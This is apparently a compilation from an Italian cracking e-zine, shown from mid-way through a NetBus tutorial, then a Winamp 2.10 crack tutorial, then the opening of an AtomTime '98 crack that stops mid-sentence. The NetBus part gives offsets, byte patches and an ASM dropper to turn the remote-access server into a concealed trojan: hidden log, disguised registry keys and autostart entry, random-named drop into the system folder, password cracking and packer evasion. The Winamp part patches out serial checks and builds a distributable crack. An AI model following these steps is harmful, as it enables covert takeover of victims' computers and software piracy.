.rsrc e poi su "Edit section"...bene l'RVA della nostra sezione è 82000h+l'imagebase che è di 400000 così diventa: 00482000, uscite da questo menu e trovatene nella lista il Raw Offset...per la .rsrc è 7C400h...quindi: (004834BC-00482000) + 7C400 = 7D8BCh benissimo, adesso questo numerino magico ci porterà direttamente ai bytes che vogliamo cambiare...Aprite l'hex-workshop, clickate su "go to offset" ed inseriteci 7D8BC...tadààà ecco a voi i bytes della dll, se volete controllarli prendetene una manciata e confrontateli con quelli di NBHelp.dll....Oki a me corrispondono e ciò vuol dire che il programma non critta in alcun modo la dll prima di estrarla...male male :). La cosa che stiamo per fare è sostituire i byte della dll originale con i byte della nostra dll packata e crittata :)...ma non dimentichiamoci una cosa, cioè che il file originale è lungo 64000bytes mentre il nostro è di 36099bytes, quindi se mi avete seguito avrete anche capito che c'è bisogno di cambiare prima del writefile il parametro che indica all'API quanti byte scrivere...Dunque facendo due conti vediamo che 64000 corrisponde a FA00h e 36099 a 8D03h...con un procedimento simile al primo scopriamo che la lunghezza si trova all'offset 7D9F4h, ovviamente non troverete FA00 ma 00FA (raga non è colpa mia e colpa della Intel :). Tanto per iniziare la modifica cambiamo FA00 in 8D03 (quindi 00FA in 038D :) in questo modo il programma estrarrà solo 8D03h bytes...salvate il file fate na prova....Okkei a me funzia e a voi pure :), adesso inizieremo la parte più delicata del nostro lavoro: aprite nell'Hex-Workshop contemporaneamente il NBSvr.exe e la dll packata, portatevi all'offset 7D8BCh nel file NBSvr.exe e troverete la signature della dll originale "MZP....", adesso massimizzate la finestra nella quale si trova la dll packata e copiatene tutti i bytes dal primo all'ultimo....Riandate nella finestra del server e selezionate a partire dall'offset di prima 8D03h bytes (è semplice, andate nella parte dove trovate il codice esadecimale e scorrete giù fino a che l'indicatore in basso a destra vi segnerà 0x8D03 bytes) a questo punto attentissimi a non aver selezionato un byte in meno o in più premerete Ctrl+v oppure il tasto "incolla" ed avrete incollato i nostri bytes sul file (dovete tenere il pulsante "ins" disattivato altrimenti i vostri dati incollati si accoderanno a quelli selezionati), adesso salvate e quando vi chiede di fare il backup dell'originale rispondete di si...Uscite dal programma e controllate che le dimensioni dei due file (l'originale e quello modificato) siano IDENTICHE, e sopratutto state attenti che l'ultimo byte incollato sia UGUALE all'ultimo byte della dll packata....Adesso vi consiglio di riempire i successivi bytes con tutti zeri....Bene bene, fate una prova, avviate il file e vedete se la dll che vi genera è uguale a quella packata...a me si quindi tutto okkei. Riposatevi 5 minuti che avremo da fare ancora per parecchio............................................................................ Io mi sono riposato un pochetto....ricominciamo: altra cosa che dobbiamo fare è cambiare il nome della dll perchè NBHelp.dll è un po' troppo esplicito, io la chiamerò mfc40a.dll...ma cosa andiamo a cambiare? Bhè probabilmente dovremo cambiare il nome in due parti dell'exe, il primo al LoadLibrary che carica la dll stessa ed il secondo al CreateFile, quindi piazzate un breakpoint su LoadLibraryA e steppate fino ad arrivare qua: :00464EE8 E813E7F9FF call 00403600 :00464EED 68B84F4600 push 00464FB8 <-----NBHelp.dll :00464EF2 E8C918FAFF KERNEL32!LoadLibraryA :00464EF7 A3F0FF4600 mov dword ptr [0046FFF0], eax :00464EFC 833DF0FF460000 cmp dword ptr [0046FFF0], 00000000 :00464F03 0F84A8000000 je 00464FB1 con i soliti calcoletti di prima cerchiamoci l'offset di 00464FB8 che è: 643B8h, quindi aprite l'Hex-Workshop....go to offset e cambiate il nome in mfc40a.dll...È inutile provare perchè ora non cambia nulla tranne che il programma cerca di caricare il file mfc40a.dll. Adesso rimettete un breakpoint su CreateFileA e steppate finchè non arrivate qui: :00408430 53 push ebx :00408431 8BD8 mov ebx, eax :00408433 6A00 push 00000000 <-----Guardate in EAX o EBX o ECX o EDX o ESI e troverete il nome del file da creare :00408435 6880000000 push 00000080 <-----FILE_ATTRIBUTE_NORMAL :0040843A 6A02 push 00000002 <-----CREATE_ALWAYS :0040843C 6A00 push 00000000 <-----FILE_SHARE_NONE :0040843E 6A00 push 00000000 <-----SECURITY_ANONYMOUS :00408440 68000000C0 push C0000000 <-----GENERIC_READWRITE :00408445 8BC3 mov eax, ebx :00408447 E810BBFFFF KERNEL32!CreateFileA :0040844C 50 push eax adesso con il solito metodo vi ritrovate l'offset al quale è localizzato il nome che in questo caso è: 642B4h, andate nell'hex-workshop e cambiatene il nome con mfc40a.dll...Abbiamo fatto i fondamentali, ma per evitare bug cambiate in mfc40a.dll anche le stringhe agli offset 86334h 8AB34h 673E0h. Adesso la nostra dll ha un nome tutto suo e questo è mooooooooolto bene :) solo che il nostro caro programma ancora non è un trojan per due motivi, il primo è che crea un file di log chiamato log.txt nel quale scrive tutto ciò che noi facciamo sull'harddisk il nostro IP è compreso tra queste righe :) hehe allora fixiamo questo problema e poi passiamo al secondo dramma da cambiare :) Non vi nascondo che in un primo momento sono rimasto spaesato, in effetti non sapevo che fare perchè se non creavo il file il server crashava, se mettevo il file log.txt come readonly il programma ci scriveva dentro lo stesso allora ho iniziato a pensare.....e pensa che ti ripensa mi sono detto: "Bhè dovrà pure scriverci in questo dannato file? E magari usa proprio WriteFile!", bhè un bel breakpoint sulla funzione, apro la console, mi collego al mio pc e boom, eccoti più bello che mai sice, non avete capito? Vi mostro una cosa: BOOL WriteFile( HANDLE hFile, // handle del file nel quale scrivere LPCVOID lpBuffer, // puntatore ai bytes da scrivere nel file DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O sovrapposti ); si si, lo so che sta tabella l'ho già messa sopra, ma guardate.....vedete il terzo parametro? Esatto, se lo settiamo a zero non verrà scritto un cavolo di niente la dentro...quindi bpx writefile, fate partire la console, avviate anche il server e connettetevi al vostro pc (IP 127.0.0.1).....Tadàààà ecco sice, steppate fino ad arrivare qui: :0040572B 51 push ecx :0040572C 8B500C mov edx, dword ptr [eax+0C] <-----Muovi in edx il numero di bytes da scrivere nel file :0040572F 85D2 test edx, edx <-----Edx uguale a 0? (edx è uguale a zero se ci sono stai degli errori e il server da un messaggio) :00405731 7E1A jle 0040574D <-----Se si salta a GetLastError :00405733 33C9 xor ecx, ecx :00405735 89480C mov dword ptr [eax+0C], ecx :00405738 51 push ecx :00405739 8D4C2404 lea ecx, dword ptr [esp+04] :0040573D 51 push ecx :0040573E 52 push edx <----- Edx contiene il numero di byte da scrivere :)))) :0040573F FF7014 push [eax+14] <-----eax+14 contiene l'offset del buffer che contiene i nostri dati :00405742 FF30 push dword ptr [eax] :00405744 E807BBFFFF KERNEL32!WriteFile :00405749 85C0 test eax, eax <-----Scrittura avvenuta con successo? Muovi 1 in eax se non ci sono stati errori :0040574B 7404 je 00405751 <-----Eax = a 0? Salta a GetLastError cosa dobbiamo modificare? Dobbiamo fare un paio di interventi sotto anestesia locale quindi poco rischiosi :) per prima cosa al posto di test edx, edx al RVA 0040572F ci mettiamo un bel xor edx, edx ed il salto sotto lo noppiamo, quindi in sice fate così: a 40572F invio xor edx, edx nop nop ed ora state tranquilli che il log sarà vuoto :), segnatevi i byte ed andateli a cambiare nel file....Vabbè ve lo dico io, andate all'offset 4B2Fh e cambiate questi byte: 85D27E1A con 33D29090....Non è finito, consiglio anche di cambiare il nome e gli attributi del file di log, lo chiameremo s_s.vxd e setteremo l'attributo di file nascosto :).In sice scrivete: bpx createfilea avviate il server e steppate fino ad arrivare qua: :004057E7 6A00 push 00000000 :004057E9 6880000000 push 00000080 <-----FILE_ATTRIBUTE_NORMAL :004057EE 51 push ecx :004057EF 6A00 push 00000000 :004057F1 52 push edx :004057F2 50 push eax :004057F3 8D4648 lea eax, dword ptr [esi+48] <-----Esi+48 punta al nome log.txt :004057F6 50 push eax :004057F7 E80CBAFFFF KERNEL32!CreateFileA :004057FC 83F8FF cmp eax, FFFFFFFF :004057FF 0F84EB000000 je 004058F0 per prima cosa cambiamo quel push 80 in push 02, cioè da push FILE_ATTRIBUTE_NORMAL diventa push FILE_ATTRIBUTE_HIDDEN, e poi cambiamo il nome da Log.txt a s_s.vxd, quindi da sice scrivete: a 4057e9 e poi push 2 nop nop quindi portatevi all'offset 4BE9h e cambiate 688000000 in 6A02909090, poi andate all'offset 67E04h e cambiate Log.txt in s_s.vxd, salvate il tutto e provate :) dhe hi hi hi come godo, non vedo l'ora di provarlo il mio trojanino :)...bhè a me comunque funziona :)))), bene quindi il primo male è fixato, manca il secondo :) ma siccome (che ci crediate o no) sono passate delle ore dall'inizio della seconda parte del tutorial io vado un po' a riposarmi :) Eccomi tornatooooooo :))))) hihihihi, allora, se non erro si doveva parlare del secondo problema...già, bhè, il NetBus potrebbe anche essere un quasi-trojan se non avesse una grave pecca, cioè se noi lo spediamo a qualcuno e quel "qualcuno" lo avvia, il programma non corre subito a nascondersi ma anzi gli si presenta davanti come un merluzzo, e questo sapete perchè? Bhè perchè il caro programmuzzo vuole essere configurato a dovere ed è inutile configurarlo a casa perchè lui va a cercare delle chiavi nel registro, cosa farà allora il caro Que? Sicuramente cambierà il valore di queste chiavi vero?..Si vero :), allora ragazzo aprite il regedit e successivamente la chiave HKEY_CURRENT_USER, orroreeeee c'è una chiave che si chiama NetBus Server, già, apritela e troverete tante belle cosette :), aprite la SubKey General e guardatevi un po' i valori, tenete conto che il valore 1 significa vero ed il valore 0 significa falso (all'insegna di uno sfacciato uso i classici valori booleani :), nella chiave general la prima stringa deve stare a 1 altrimenti il server non accetta connessioni dal client, AccessMode dovrebbe stare a 2 perchè ci da il livello di accesso più alto, AutoStart mi sembra ovvio che deve stare a 1, TCPPort la settate come vi pare e Visibility deve stare a 3 che vuol dire il più alto grado di invisibilità, poi nell'altra SubKey, quella che si chiama Protection ci sta la password che se non è settata fa assumere alla stringa un valore di "A", la pass è però crittata, ma di questo parleremo solo dopo :), il nostro lavoro consite ora nel cambiare i nomi nel modo più inoffensivo possibile e di settare i valori di default secondo il NOSTRO default :))) Per cercare il nome della chiave principale basta fare un search nell'hex editor, cmq il valore giusto sta a 66254h, mentre per trovare il nome delle due subkey dobbiamo procedere diversamente. Già, dobbiamo usare un metodo un po' più leim, in pratica cerchiamo il nome della chiave e cambiamo ogni stringa che troviamo, questo lavoro può sembrare barbaro ma si deve davvero fare :), eccovi comunque la locazione di tutte le stringhe "General", potete scegliere qualunque nome ma vi consiglio di usare un nome con la stessa lunghezza dell'originale perchè altrimenti dovreste cambiare il byte che indica al RegOpenKeyExA di quanti byte deve essere il nome della key, se invece usate un nome più corto allora dovrete riempire solamente lo spazio restante con degli zeri, io ho scelto questo nome TCP_IP......scusate...eccovi gli offset delle stringhe da cambiare: 65798h, 65BC0h, 65E64h, 660ACh, fatto? Bene, salvate tutto, avviate il file vedete se la chiave Web/TCP_IP viene generata, cambiate dei valori e vedete se vengono settati...Okkei a me funziona...Coraggio la stessa cosa per la SubKey di nome "Protection", io la chiamerò DefBrowser: 65C30h, 65ED4h, 6611Ch, ed ora andiamo a cambiare le ultime stringhe, eccovene un breve riassunto degli offset: Accept: 65BB0h, 65E54h, 6609Ch (io l'ho chiamata Downll) AccessMode: 65BF4h, 65E98h, 660E0h (la mia è InternetSp) AutoStart: 65C08h, 65EACh, 660F4h (la mia è LocationT) TCPPort: 65BD0h, 65E74h, 660BCh (la mia l'ho chiamata DNSHost) Visibility: 65784h, 65BE0h, 65E84h (la mia si chiama PingTimeRe) Password: 65C1Ch, 65EC0h, 66108h (la mia è Referrer) Questo lavoro è stato di tutto riposo ma ora dobbiamo fare in modo che i valori settati dal programma al primo avvio siano diversi, per fortuna la strada non dobbiamo cercare le stringhe nel file come prima altrimenti il nostro tentativo di reversing sarebbe diventato mooooolto tedioso :). Come prima cosa dobbiamo capire come vengono create le chiavi e le stringhe nel registro, quindi settate un bp su RegSetValueExA....avviate il netbus...e sbam.... :0045B161 8B45FC mov eax, dword ptr [ebp-04] <-----Muovi in eax il valore da inserire nella stringa del registro :0045B164 50 push eax :0045B165 56 push esi :0045B166 6A00 push 00000000 :0045B168 8BC7 mov eax, edi <-----Muovi in eax il nome della chiave del registro che si sta modificando :0045B16A E8ED8DFAFF call 00403F5C :0045B16F 50 push eax :0045B170 8B4304 mov eax, dword ptr [ebx+04] :0045B173 50 push eax :0045B174 E84FB4FAFF advapi32.RegSetValueExA :0045B179 85C0 test eax, eax :0045B17B 742E je 0045B1AB come vedete è abbastanza semplice, al primo break la chiave esaminata sarà la nostra Downl (cioè Accept) ed eax al RVA 45B161 punterà al valore di default....0 :)) ma vogliamo fare una cosa intelligente? Dunque, sappiamo che tutti i valori vengono settati tramite la stessa routine e tutti con lo stesso ordine cioè: Downl = 0 DNSHost = 20034 PingTimeRe = 0 InternetSp = 2 LocationT = 0 Referrer = A cosa cerchiamo di più dalla vita? i valori che ci interessano sono solo tre: Accept connections Invisible (95/98) AutoStart tanto Full Access è settato di default, quindi dobbiamo fare un po' di coding e dobbiamo settare le chiavi nel registro a questi valori: Accept connections (Downll) a 1 Invisible 95/98 (PingTimeRe) a 3 Autostart a 1 le vie che ci si pongono davanti sono due: 1) inserire codice nostro per creare le chiavi 2) includere il programma in un sorgente nostro e poi fargli fare tante cose belle in realtà potremmo scegliere la prima soluzione ma allora dovremmo inserire davvero moltissimo codice, per questo faremo la seconda, iniziamo con l'aprire il nostro file con il Resource Workshop ed eliminiamogli l'icona così sembrerà un comune exe, poi facciamoci un'idea di come si comporterà il nostro pargolo...per prima cosa all'avvio creerà le chiavi nel registro, il programma padre (quello che stiamo per creare) estrarrà quindi il pargoletto in una directory mooooolto affollata, avvierà il pargolo e quest'ultimo sarà felice di consentirci l'accesso al computer, potremmo corredare anche il tutto con una bella messagebox tanto per non far insospettire il lamer di turno :) ma questo lo farete da soli :)...A questo punto dovete fare alcuni ritocchi perchè il lavoro sul file del netbus è oramai finito, quindi cambiate TUTTE le stringhe NetBus Server con altre (ma non toccate la stringa NetBuse Base) e soprattutto fate una cosa, se settate "Autostart every windows session" a 1 allora il programma inserirà una chiave nel registro di windows a HKEY_LOCAL_MACHINE\Software\Mircosoft\Windows\CurrentVersion\RunService che si chiamerà NetBus Server Pro, questa stringa la trovate nel file all'offset 67AE4h (la troverete a questo offset solo dopo aver eliminato l'icona altrimenti sarà altrove :) ed io l'ho cambiata in SVGA Video Driver heheheh che furbone :))). Dobbiamo fare in modo che il programma setti le chiavi nel registro prima che si avvii ed i passi che seguiremo saranno questi: 1) Creazione di un programma ASM che crei le chiavi per fatti suoi 2) Inclusione del NetBus Server nel programma 3) Estrazione del server dal file ed esecuzione dello stess ovviamente ho già fatto tutto io ed il codice lo troverete nel file che avete dovuto scaricare all'inizio del tutorial, ma credo sia giusto spiegarvi come fare: innanzitutto creerete il programma che setta le chiavi e lo testerete, poi con l'utility "Bin2Db" che si trova nel pacchetto convertirete l'exe originale del server in un file di testo scrivendo al prompt di dos: bin2db nbsvr.exe nb.txt così vi ritroverete sull'hard disk un bel file di testo di 1.1Mb, non dovete far altro che copiare tutto quel file nel sorgente ASM del programma appena, eccovi cosa vedrete prima della procedura: lpData4th db '65842',0 ; TCPPort number lpData5th db '2',0 ; Access mode: full lpValueName4th db 'DNSHost',0 ; TCPPort lpValueName5th db 'InternetSp',0 Buffer dd 3 dup (0) Value dd 1 handle dd 0 Random1 dd 1 Random2 dd 812041h ff dd 5 dup (0) ; Attenti a cosa succede qui File_Size dd 270336 B dd 4 NewFileLocation db 'c:\windows\system\',0 Buff dd 4 dup (0) .code Start: push offset lpdw push offset Result push NULL push 1F0003h push NULL push NULL push NULL ecc....ed ecco cosa vedrete dopo: Buffer dd 3 dup (0) Value dd 1 handle dd 0 Random1 dd 1 Random2 dd 812041h ff dd 5 dup (0) ; Qui ho inserito Bytes_To_Write contenente tutti i bytes dell'exe originale Bytes_To_Write db 077,090,080,000,002,000,000,000,004,000 db 015,000,255,255,000,000,184,000,000,000 db 000,000,000,000,064,000,026,000,000,000 db 000,000,000,000,000,000,000,000,000,000 db 000,000,000,000,000,000,000,000,000,000 db 000,000,000,000,000,000,000,000,000,000 db 000,001,000,000,186,016,000,014,031,180 db 009,205,033,184,001,076,205,033,144,144 db 084,104,105,115,032,112,114,111,103,114 ................ ............... File_Size dd 270336 B dd 4 NewFileLocation db 'c:\windows\system\',0 Buff dd 4 dup (0) Se avvierete il programma succederanno in sequenza tutte queste cose: creazione di tutte le chiavi nel registro, creazione di un nome casuale di 8 caratteri, estrazione del server nella directory windows\system con il nome casuale, esecuzione del server. A questo punto avrete accesso alla macchina remota ma come vedete la password non è settata: lpData1_st db 'A',0 ; Password (A= No password set) potremmo anche non settarla e lasciare l'accesso libero ma visto che siamo reverser andiamo a reversare l'algo che generea questa password e facciamo un generatore di password, prima di iniziare dovete sapere che quando inserite una password questa viene crittata, viene preceduta dal carattere "A" e salvata nel registro, al momento della connessione il Client critta la password ed il Server la confronta con quella che si trova nel registro, se sono uguali fa passare la richiesta di connessione. Come prima cosa aprite il server, settate una pass "ad cazzum", mettete un breakpoint su hmemcpy (bpx hmemcpy), premete okkei e steppate fino ad arrivare al RVA 00464689 o semplicemente una volta entrati nel codice del server scrivete "g 464689", cancellate tutti i bp (bc*) e dovreste approdare qui (stiamo parlando del file originale, quindi ancora non l'icona): CODE:00464689 mov eax, [ebp+var_8] ; Muovi in EAX l'offset della password CODE:0046468C mov edx, [ebp+var_18] ; Muove in EDX il numero del carattere che si sta esaminando CODE:0046468F movzx eax, byte ptr [eax+edx-1] ; Mov in EAX un carattere della password inserita CODE:00464694 add ebx, eax ; Aggiungi ad EBX che al primo loop contiene 41h (in ASCII = A) il carattere che si ; sta esaminando CODE:00464696 and ebx, 800000FFh ; Se il risultato è più grande di due cifre taglialo CODE:0046469C jns short CODE_4646A6 CODE:0046469E dec ebx CODE:0046469F or ebx, 0FFFFFF00h CODE:004646A5 inc ebx CODE:004646A6 cmp esi, [ebp+var_10] ; Confronta esi (usato come contatore) con la lunghezza della stringa "NetBus Base" CODE:004646A9 jge short CODE_4646AE ; Se è più lungo reinizializza il contatore CODE:004646AB inc esi CODE:004646AC jmp short CODE_4646B3 CODE:004646AE mov esi, 1 CODE:004646B3 mov eax, [ebp+var_4] CODE:004646B6 movzx eax, byte ptr [eax+esi+8] ; Muovi in EAX un carattere della stringa "NetBus Base" CODE:004646BB xor ebx, eax ; Xora EBX con il carattere che si trova in EAX CODE:004646BD lea eax, [ebp+var_1C] ; Da qui in poi la pass viene solamente spostata in un buffer CODE:004646C0 mov edx, ebx CODE:004646C2 call CODE_403CC0 CODE:004646C7 mov edx, [ebp+var_1C] CODE:004646CA lea eax, [ebp+var_14] CODE:004646CD call CODE_403DA0 CODE:004646D2 inc [ebp+var_18] CODE:004646D5 dec edi CODE:004646D6 jnz short CODE_464689 ; Continua fino alla fine della password non disperate, ora vi spiego il funzionamento di questo semplicissimo algoritmo: per prima cosa viene sommato ad EBX il codice esadecimale del carattere che si sta esaminando, in EBX al primo loop troviamo 41h che in ASCII corrisponde al carattere "A", nei successivi loop troviamo in EBX il risultato delle operazioni successive e non più 41h...Viene fatto un check e se il contenuto di EBX occupa più di un byte allora viene troncato, poi sempre questo risultato viene xorato con i caratteri di una stringa che si trova nel server cioè: "NetBus Base", è ovvio che se cambiate la stringa al client si e al server non o viceversa non otterrete nessuna password valida, quindi attenti :) ecco a voi questo stupido algoritmo, ho creato il programma che vi critta la pass, in questo modo potrete scegliere una pass che più vi aggrada e sostituirla nel sorgente. Il problema è che il DOS non ha tanti caratteri quanti windows e quindi non dovrete far altro che lavorare pochissimo di Sice, davvero solo due righe, io ho infilato nel programm un INT 3 così da farvi trovare subito la pass, ecco come fare: clickate sul programma, una volta avviato aprite sice e mettete un bp sull'interrupt 3 (bpint 3), scrivete nel programma la password che volete ed otterrete questo: Insert your password: MyPassword appena premerete invio sice popperà e voi dovrete scrivere: d si+2a-si+1 a vi verrà visualizzata nella finestra dei byte la vostra pass, prendete un foglietto e segnatevela tutta, a me, se scelgo come password "MyPassword" è: 415CD87B9B7DD4011205 mi raccomando, andate a guardare i byte a sinistra e non i caratteri ascii a destra :), poi prendete il sorgente del programma e sostituite a questa riga: lpData1_st db 'A',0 ; Password (A= No password set) questa: lpData1_st db 41h, 5Ch, D8h,7Bh,9Bh,7Dh,D4h,01h,12h,05h,0 ; Password settata è molto semplice, vi scrivete i byte e li riportati tali e quali nella stringa di sopra, ricordando di mettere uno zero davanti ogni coppia di byte che inizia per lettera e di mettere un ",0" a fine stringa....Se potete compilare il file allora sapete che dovete fare, se invece siete nuovi della programmazione allora guardate bene l'esempio e capirete :). Fatto questo, compilate il file, passate tutto sotto lo stone Pe Crypter e poi sotto l'ASPack :).....Se mi va può anche darsi che faccio un configuratore per il QueBus....Ma non si sa :))))) Bhè questo tutorial è finalmente finito, sono molto felice e non vedo l'ora di chiudere l'editor sennò mi vengono in mente altre centomila cosa e non la smetto più :) ciauzzzzzzzz Quequero Note finali Un ringraziamento particolarissimo va a: Kill3xx: grazie kill, e soprattutto grazie per rispondere SEMPRE e tutte le mie domande, grazie ancora tanto Yado: grazie a yado che mi ha passato la sua routine per creare le chiavi nel registro di windows che le mie non volevano mai funzionare :) Altri saluti vanno a: Neural_Noise, +Malattia, Zorks56, +Xoanon, Alt255, Ritz, /Spirit/, Zer0Byte, Baron-Sam, Cod, Courier^ (ma che fine hai fatto?), T3x, Sorrow, fravia+, Oldiron61, Nobody88, Bobo, Lando, SandMan, Linox, Marco C., YanOrel....Bhè non me ne vengono più in mente :) ciauzzzzzzzzzzzzzzzz Un fuck stramiticuzzo va a: Buelti: che mi ha ripagato un grosso favore bannandomi dal suo chan Tiscali: che a l'Aquila doveva aprire a settembre ed ora non apre neanche entro il 1999 Alla neve: che non arriva mai e io devo andare a sciare :) Alla telecoz: perchè è antipatica A Bill Gate$: che presto ci regalerà i sorgenti A Brioz: che se non la finisce con le sue fottute minaccie un giorno a l'altro m'inkazzo A tutti gli SPAMMATORI (o spammer se siete esterofili) che non la finiscono mai di darci fastidio ciauzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz Disclaimer vorrei ricordare che il software va comprato e non rubato, dovete registrare il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile per eventuali danni causati al vostro computer determinati dall'uso improprio di questo tutorial. Questo documento è stato scritto per invogliare il consumatore a registrare legalmente i propri programmi, e non a fargli fare uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare avanti per fornire ai rispettivi consumatori i migliori prodotti possibili. Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio Assembly. Capitoooooooo????? Bhè credo di si ;)))) #---[reversing Winamp]-----------------------------------------------+KILLER+---------# reversing Winamp Trasformare winamp in un generatore di chiavi autoregistrante Bene Bene miei amici aspiranti crackers; come sapete devo fare una premessa tanto per pararmi il culo: Questo tutorial è solo a scopo educativo, non mi assumo responsabilità per qualsiasi altro uso di ogni ciò che è riportato in questo manuale. Ok dopo questa premessa che come già detto non mi fa incarcerare possiamo passare alla parte I° del mio tutorial.(per rendere il crack più facile ho deciso di scrivere il tute suddividendolo in passi. Indice I->Tools necessari. II->Primo approccio con il crack. III->Seconda parte del crack. IV->Crack pronto per la distribuzione. V->Conclusioni Step I Tools necessari 1) Winamp 2.10 (Target) (www.winamp.com) 2) Win32dasm 8.9 or higer (http://ringzer0.cjb.net) 3) Editor esadecimale 4) Patcher PMaker 0.99 alpha by kill3x (http://ringzer0.cjb.net) 5) Numega Softice 3.24 or higer Step II->Primo approccio con il crack Eseguiamo winamp e andiamo dalla voce del menu "Nullsoft winamp" all'opzine "Shareware". Ora noteremo che compare la scritta che vi dice che state usando una versione non registrata di winamp e vi chiede di registrarla. Ok clickkiamo sul pulsante "Enter registration info" e inseriamo un nome a caso (io uso il mio nick) e un numero a caso (123456); poi apriamo sice con ctrl+D e scriviamo bpx getdlgitemtexta e usciamo. Ora aggiungiamo un numerino a caso nel campo del seriale dove già abbiamo scritto altri numeri a casaccio e walà sice si poppa sulla funzione getdlgitemtexta. Ora premiamo F11 per uscire dalla call e troviamo: * Reference To: USER32.GetDlgItemInt, Ord:0103h | :00401F01 FF152CD34300 Call dword ptr [0043D32C]-->prelieva il seriale immesso :00401F07 8BF0 mov esi, eax :00401F09 8D4580 lea eax, dword ptr [ebp-80] :00401F0C 50 push eax :00401F0D E8BF2D0200 call 00424CD1-->genera il seriale in base al nome :00401F12 3BC6 cmp eax, esi-->verifica se è giusto :00401F14 59 pop ecx :00401F15 750A jne 00401F21-->salta se il seriale è sbagliato. :00401F17 807D8000 cmp byte ptr [ebp-80], 00 ecc.... Quindi come mostra il codice bisogna evitare sto salto; come fare allora? Il problema si raggira semplicemente con un nop; quindi apriamo l'editor esadecimale troviamoci la il comando 750a e sostituiamolo con un bel 9090. Salviamo ora il codice come Winamp1a.exe e usciamo dall'editor. Testiamo l'exe e vedremo ora che qualsiasi sia il seriale inserito si attiverà il tasto ok ma non comparirà dopo che sarà uscito dalla finestra per l'immissione del seriale la scritta: "licensed to [nick immesso]" ciò vuol dire che ci troviamo di fronte ad un altro check del seriale. Step III->seconda parete del crack. Ok, ora apriamo il file salvato con win32dasm e poi dal menu "Refs" clickkiamo su "String Data Referrences"; Cerchiamoci prima il messaggio: "----- LICENSED TO: %s (%d) -----"; e gurdiamo il codice che si trova prima del suddetto messaggio e troveremo un'altra rutine di controllo del seriale che in caso positivo procede altrimenti salta ad unregistred. * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:00401D50(C), :00401D55(C) | :00401D64 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00] :00401D6A 50 push eax :00401D6B E8612F0200 call 00424CD1 :00401D70 59 pop ecx :00401D71 3BC6 cmp eax, esi-->controlla il seriale :00401D73 5E pop esi :00401D74 7519 jne 00401D8F-->se è giusto prosegue altrimenti salta al messaggio "UNREGISTERED SHAREWARE VERSION - PLEASE REGISTER" :00401D76 50 push eax :00401D77 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00] :00401D7D 50 push eax :00401D7E 8D8500FAFFFF lea eax, dword ptr [ebp+FFFFFA00] * Possible StringData Ref from Data Obj ->"----- LICENSED TO: %s (%d) -----" ecc..... Bene noi dobbiamo quindi invertire il jmp incriminato per poter far apparire in ogni caso la scritta "licensed to [nick](seriale corretto)"; e quindi abbiamo: * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:00401D50(C), :00401D55(C) | :00401D64 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00] :00401D6A 50 push eax :00401D6B E8612F0200 call 00424CD1 :00401D70 59 pop ecx :00401D71 3BC6 cmp eax, esi-->controlla il seriale :00401D73 5E pop esi :00401D74 7419 je 00401D8F-->ora il salto non avverrà e si avrà l'effetto desiderato. :))))) :00401D76 50 push eax :00401D77 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00] :00401D7D 50 push eax :00401D7E 8D8500FAFFFF lea eax, dword ptr [ebp+FFFFFA00] * Possible StringData Ref from Data Obj ->"----- LICENSED TO: %s (%d) -----" ecc..... Step IV->Crack pronto per la distribuzione. Ok ora prendete il vostro editor esadecimale, aprite Winamp1a.exe, e modificate il 7519 in 7419. Ora prendete il Patcher di kill3x: PMaker 0.99 alpha e cliccate sul pulsante new project; riempite i vari campi come volete voi e poi selezionate il menù "bytePacth"; poi fate clic sul pulstante "Files Cmp" e inserite le path prima del file non crackkato e poi quella del file crackkato. Fatto ciò cliccate sul pulsante "build" e poi clikkate su "ok"; Tornate al menù project e inserite se volete il vostro logo (se lo avete) premendo il pulsante "bitmap" e l'icona che volete dare al file del vostro crack tramite il pulsante "Icon"; dopo che avete completato tutto cliccate su "Compile" per generare il file exe del crack. Ora avete realizzato un crack per la distribuzione il cui file si chiamerà patch.exe che potrete anche rinominare. Step V->Conclusioni Bene, spero di essere stato chiaro con questo tutorial e di avervi dato nozioni sia di cracking che di reverse engeneering. Penso che scriverò altri tutes dopo questo (in verità sono già scritti ed in attesa di essere pubblicati) quindi colgo anche l'occasione di salutare Attila_hk, Neural_ns, Cod, Zerobyte^, Furb3t e tutti i miei amici di #crack-it. Arrivederci alla prossima!!!! || || || || |||||||| |||||| || || || || || || || || || || || || || || |||| || || |||||||| |||||| || || || || || || || || || || || || || || || || |||||||| |||||||| |||||||| || || #---[AtomTime CRack]-------------------------------------------------+BobbyMetal+-----# AtomTime CRack COME CRACKARE ATOMTIME '98 BY +++ BOBBYMETAL +++ DISCLAIMER - Questo piccolo tutorial è stato scritto a scopo puramente educativo. Pertanto io non mi assumo la benchè minima responsabilità sul contenuto del medesimo, sugli utilizzi impropri delle informazioni qui contenute e di eventuali danneggiamenti accidentali e non. Materiale occorrente: Wdasm 8.9 Hacker's View 6.0 or higher Un saluto a: BoBo, LaNdo, ZioMarzo (che se non mi uccide adesso... gli ho cambiato articolo 3 VOLTE :-))) ), Reset, Quequero, Cod, Ritz, Alt255, alla Valvoline Crew perchè sono dei grandi, a Dudez, Alor, erGoline, Wally, Valerio e tutti gli amici del chan #crack-it. Dedicato a: quel simpaticone che chiedeva nei vari NG dove trovare un cracckatore universale... ohh, sono troppo giovane per essere già disoccupato :-)))) 01 CLS 10 PRINT "COME CRACKARE ATOMTIME '98" 20 PRINT "SEI INTERESSATO? (S/N)" 30 INPUT A$ 40 IF A$="n" OR A$="N" THEN GOTO NEXT ART. 50 PRINT "BRAVO, CONTINUA A LEGGERE!" :-)))) Uao!, me lo ricordo ancora dopo tanti anni!!! Beh, ora direi che bisogna cominciare...Devo premettere che questo art. non l'ho scritto sul il crack in sé stesso ma "orientandolo" in modo da far capire ai newbies di quest'arte il ragionamento logico che sta dietro un crack Allora, avviamo il prg. e 